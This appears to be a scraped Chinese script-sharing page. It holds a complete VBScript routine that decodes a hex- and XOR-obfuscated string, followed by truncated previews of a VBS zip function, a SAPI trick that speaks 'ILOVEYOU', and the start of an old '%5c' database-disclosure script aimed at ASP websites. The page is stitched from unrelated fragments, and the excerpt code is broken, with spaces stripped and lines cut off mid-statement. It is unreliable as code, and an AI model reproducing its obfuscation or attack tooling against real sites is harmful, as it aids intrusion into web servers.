Dim enTmp,enstr,a,bb  
enstr=Str2Hex("RHptd4RPFZVOdoVQTrvWTnTp4n6PVN6QTop1tnau1hsU")  
For i = 1 To Len(enStr) step 6  
   enTmp =Array(Mid(enStr,i,6)&"00")  
   sz =Split(enTmp(0), ",", -1, 1)  
a= right(sz(0), 1) Xor left(sz(1), 1)  
bb=bb& a&right(sz(1), 1)  
Next  


Function Str2Hex(ByVal strHex)  
Dim sHex  
For i = 1 To Len(strHex) step 1  
sHex = sHex & Hex(Asc(Mid(strHex,i,1)))&","  
Next  
Str2Hex = sHex  
End Function  

Function Hex2Str(hexStr)  
Dim sstr,hextmp  
For i = 1 To Len(hexStr) step 2  
   hexTmp = Mid(hexStr,i,2)  
   If hexTmp <> "00" Then  
    sstr = sstr & ChrW("&h" & hexTmp)  
   End If  
Next  
Hex2Str = sstr  
End Function  

wscript.echo Hex2Str(bb) 

用vbs实现zip功能的脚本
压缩：FunctionfZip(sSourceFolder,sTargetZIPFile)'ThisfunctionwilladdallofthefilesinasourcefoldertoaZIPfile'usingWindows'nativefolderZIPcapability.DimoShellApp,oFSO,iErr,sErrSource,sErrDescriptionSe

非常棒的lcx写的非常规运行vbs
这个组件在xp、2003上默认都可以用的，调用后可以听到电脑上一个国外老男人在说话。好比这样一句代码：●CreateObject("SAPI.SpVoice").Speak"ILOVEYOU"●，保存

N年前的两个脚本%5c暴库
DimxStatus,tStatus,vServer,vHeader,vRsBodyGetError=InputBox("请输入网站,例如:http://www.hackerxfiles.com/files/list.asp?id=415","请输入网址","http://www.hackerxfiles.com/files/list.asp?id=